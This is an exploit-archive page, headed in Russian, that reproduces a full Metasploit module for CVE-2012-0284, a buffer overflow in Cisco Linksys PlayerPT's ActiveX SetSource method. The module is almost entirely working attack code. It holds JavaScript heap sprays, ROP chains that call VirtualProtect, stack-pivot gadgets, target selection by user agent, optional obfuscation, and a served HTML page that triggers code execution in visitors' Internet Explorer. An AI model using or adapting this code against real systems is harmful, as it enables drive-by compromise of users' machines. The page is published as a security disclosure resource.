Cisco Linksys PlayerPT ActiveX Control SetSource sURL argument Buffer Overflow Exploit

Свойства

Дата публикации:
02.08.2012
Цель:
Cisco Linksys PlayerPT ActiveX Control
Тип воздействия:
Компрометация системы

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::Remote::Seh
    include Msf::Exploit::Remote::BrowserAutopwn

    autopwn_info({
        :ua_name    => HttpClients::IE,
        :ua_minver  => "6.0",
        :ua_maxver  => "9.0",
        :javascript => true,
        :os_name    => OperatingSystems::WINDOWS,
        :classid    => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",
        :method     => "SetSource",
        :rank       => NormalRanking
    })


    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Cisco Linksys PlayerPT ActiveX Control SetSource sURL argument Buffer Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15
                as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ
                Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in
                the SetSource method, when handling a specially crafted sURL argument, allows to
                trigger a stack based buffer overflow which leads to code execution under the
                context of the user visiting a malicious web page.
            },
            'Author'         =>
                [
                    'Carsten Eiram', # Vuln discovery
                    'juan' # Metasploit module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2012-0284' ],
                    [ 'BID', '54588' ],
                    [ 'URL', 'http://secunia.com/secunia_research/2012-25/'; ],

                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',

                },
            'Payload'        =>
                {
                    'Space' => 1024,
                    'DisableNops' => true,
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', {} ],
                    [
                        'IE 6 on Windows XP SP3',
                        {
                            'SprayBlocks' => 0x185,
                            'SprayOffset' => '0x0',
                            'Ret' => 0x0c0c0c0c,
                            'Rop' => nil,
                            'RandomHeap' => false
                        }
                    ],
                    [
                        'IE 7 on Windows XP SP3 / Windows Vista SP2',
                        {
                            'SprayBlocks' => 0x185,
                            'SprayOffset' => '0x0',
                            'Ret' => 0x0c0c0c0c,
                            'Rop' => nil,
                            'RandomHeap' => false
                        }
                    ],
                    [
                        'IE 8 on Windows XP SP3',
                        {
                            'SprayBlocks' => 0x185,
                            'SprayOffset' => '0x0',
                            'Ret' => 0x77c3546b, # ret from msvcrt
                            'StackPivot_1' => 0x77c3546a, # pop ebp; ret from msvcrt
                            'StackPivot_2' => 0x77c35468, # mov esp,ebp; pop ebp; ret from msvcrt
                            'Rop' => :msvcrt,
                            'RopChainOffset' => '0x5f4',
                            'RandomHeap' => false
                        }
                    ],
                    [
                        'IE 8 with Java 6 on Windows XP SP3',
                        {
                            'SprayBlocks' => 0x185,
                            'SprayOffset' => '0x0',
                            'Ret' => 0x7c3424f2, # ret from msvcr71.dll
                            'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
                            'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
                            'Rop' => :jre,
                            'RopChainOffset' => '0x5f4',
                            'RandomHeap' => false
                        }
                    ],
                    [
                        'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
                        {
                            'SprayBlocks' => 0x185,
                            'SprayOffset' => '0x0',
                            'Ret' => 0x7c3424f2, # ret from msvcr71.dll
                            'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
                            'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
                            'Rop' => :jre,
                            'RopChainOffset' => '0x5f4',
                            'RandomHeap' => false
                        }
                    ],
                    [
                        'IE 9 with Java 6 on Windows 7 SP1',
                        {
                            'SprayBlocks' => 0x1000,
                            'SprayOffset' => '0x0',
                            'Ret' => 0x7c3424f2, # ret from msvcr71.dll
                            'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
                            'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
                            'Rop' => :jre,
                            'RopChainOffset' => '0x5fe',
                            'RandomHeap' => true,
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Jul 17 2012',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class
        )

    end

    def get_easy_spray(t, js_code, js_nops)

        spray = <<-JS
        var heap_obj = new heapLib.ie(0x20000);
        var code = unescape("#{js_code}");
        var nops = unescape("#{js_nops}");

        while (nops.length < 0x80000) nops += nops;

        var offset = nops.substring(0, #{t['SprayOffset']});
        var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

        while (shellcode.length < 0x40000) shellcode += shellcode;
        var block = shellcode.substring(0, (0x80000-6)/2);

        heap_obj.gc();
        for (var z=1; z < #{t['SprayBlocks']}; z++) {
            heap_obj.alloc(block);
        }

        JS

        return spray

    end

    def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)

        spray = <<-JS

        var heap_obj = new heapLib.ie(0x20000);
        var code = unescape("#{js_code}");
        var nops = unescape("#{js_nops}");
        var nops_90 = unescape("#{js_90_nops}");
        var rop_chain = unescape("#{js_rop}");

        while (nops.length < 0x80000) nops += nops;
        while (nops_90.length < 0x80000) nops_90 += nops_90;

        var offset = nops.substring(0, #{t['SprayOffset']});
        var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);
        var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);


        while (shellcode.length < 0x40000) shellcode += shellcode;
        var block = shellcode.substring(0, (0x80000-6)/2);


        heap_obj.gc();
        for (var z=1; z < #{t['SprayBlocks']}; z++) {
            heap_obj.alloc(block);
        }

        JS

        return spray

    end

    # Spray published by corelanc0d3r
    # Exploit writing tutorial part 11 : Heap Spraying Demystified
    # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
    def get_random_spray(t, js_rop, js_code, js_90_nops)

        spray = <<-JS

        function randomblock(blocksize)
        {
            var theblock = "";
            for (var i = 0; i < blocksize; i++)
            {
                theblock += Math.floor(Math.random()*90)+10;
            }
            return theblock;
        }

        function tounescape(block)
        {
            var blocklen = block.length;
            var unescapestr = "";
            for (var i = 0; i < blocklen-1; i=i+4)
            {
                unescapestr += "%u" + block.substring(i,i+4);
            }
            return unescapestr;
        }

        var heap_obj = new heapLib.ie(0x10000);

        var rop = unescape("#{js_rop}");
        var code = unescape("#{js_code}");
        var nops_90 = unescape("#{js_90_nops}");

        while (nops_90.length < 0x80000) nops_90 += nops_90;

        var offset_length = #{t['RopChainOffset']};

        for (var i=0; i <  #{t['SprayBlocks']}; i++) {
            var padding = unescape(tounescape(randomblock(0x1000)));
            while (padding.length < 0x1000) padding+= padding;
            var junk_offset = padding.substring(0, offset_length - code.length);
            var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
            while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
            sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
            heap_obj.alloc(sprayblock);
        }

        JS

        return spray
    end


    def junk(n=4)
        return rand_text_alpha(n).unpack("V").first
    end

    def nop
        return make_nops(4).unpack("V").first
    end

    def get_stack_pivot(t)
        stack_pivot = [
            junk,
            junk,
            junk,
            junk,
            junk,
            t['StackPivot_1'], # pop ebp # ret # ESP points here after controlling EIP with overflow
            0x0c0c0c08,        # ebp
            t['StackPivot_2']  # mov esp,ebp # pop ebp # ret
        ].pack("V*")

        return stack_pivot
    end

    def get_rop_chain(t)

        # Both ROP chains generated by mona.py - See corelan.be
        case t['Rop']
            when :msvcrt
                print_status("Using msvcrt ROP")
                rop =
                    [
                        0x77C21891,  # POP ESI # RETN
                        0x0c0c0c04,  # ESI
                        0x77c4e392,  # POP EAX # RETN
                        0x77c11120,  # <- *&VirtualProtect()
                        0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
                        junk,
                        0x77c2dd6c,  # XCHG EAX,ESI # ADD BYTE PTR [EAX],AL # RETN
                        0x77c4ec00,  # POP EBP # RETN
                        0x77c35459,  # ptr to 'push esp #  ret'
                        0x77c47705,  # POP EBX # RETN
                        0x00001000,  # EBX
                        0x77c3ea01,  # POP ECX # RETN
                        0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
                        0x77c46100,  # POP EDI # RETN
                        0x77c46101,  # ROP NOP (-> edi)
                        0x77c4d680,  # POP EDX # RETN
                        0x00000040,  # newProtect (0x40) (-> edx)
                        0x77c4e392,  # POP EAX # RETN
                        nop,         # NOPS (-> eax)
                        0x77c12df9,  # PUSHAD # RETN
                    ].pack("V*")

            when :jre
                print_status("Using JRE ROP")
                rop =
                    [
                        0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
                        0x00001000,  # (dwSize)
                        0x7c347f98,  # RETN (ROP NOP)
                        0x7c3415a2,  # JMP [EAX]
                        0xffffffff,
                        0x7c376402,  # skip 4 bytes
                        0x7c345255,  # INC EBX # FPATAN # RETN
                        0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
                        0x7c344f87,  # POP EDX # RETN
                        0x00000040,  # flNewProtect
                        0x7c34d201,  # POP ECX # RETN
                        0x7c38b001,  # &Writable location
                        0x7c347f97,  # POP EAX # RETN
                        0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
                        0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
                        0x7c345c30,  # ptr to 'push esp #  ret '
                    ].pack("V*")
        end

        return rop
    end

    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'

        if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
            return targets[1]  #IE 6 on Windows XP SP3
        elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
            return targets[2]  #IE 7 on Windows XP SP3
        elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
            return targets[2]  #IE 7 on Windows Vista SP2
        elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
            return targets[3]  #IE 8 on Windows XP SP3
        elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
            return targets[5]  #IE 8 on Windows 7 SP1/Vista SP2
        elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
            return targets[6]  #IE 9 on Windows 7 SP1
        else
            return nil
        end
    end

    def on_request_uri(cli, request)

        agent = request.headers['User-Agent']
        print_status("User-agent: #{agent}")

        my_target = get_target(agent)

        # Avoid the attack if the victim doesn't have a setup we're targeting
        if my_target.nil?
            print_error("Browser not supported: #{agent}")
            send_not_found(cli)
            return
        end

        p = payload.encoded
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
        js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

        if not my_target['Rop'].nil?
            js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
        end

        js = ""

        if my_target['RandomHeap']
            js = get_random_spray(my_target, js_rop, js_code, js_90_nops)
        elsif not my_target['Rop'].nil?
            js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)
        else
            js = get_easy_spray(my_target, js_code, js_nops)
        end

        js = heaplib(js, {:noobfu => true})

        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end

        sploit = "http://";
        sploit << "\x0c" * 261
        sploit << [my_target.ret].pack("V")
        if not my_target['Rop'].nil?
            sploit << get_stack_pivot(my_target)
        end
        sploit << "/img/video.asf"

        html = <<-MYHTML
        <html>
        <head>
        <script>
        #{js}
        </script>
        </head>
        <body>
        <object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /></object>
        <script>
            obj.SetSource("#{sploit}","mpeg","","","");
        </script>
        </body>
        </html>
        MYHTML

        html = html.gsub(/^\t\t/, '')

        print_status("Sending html")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
end

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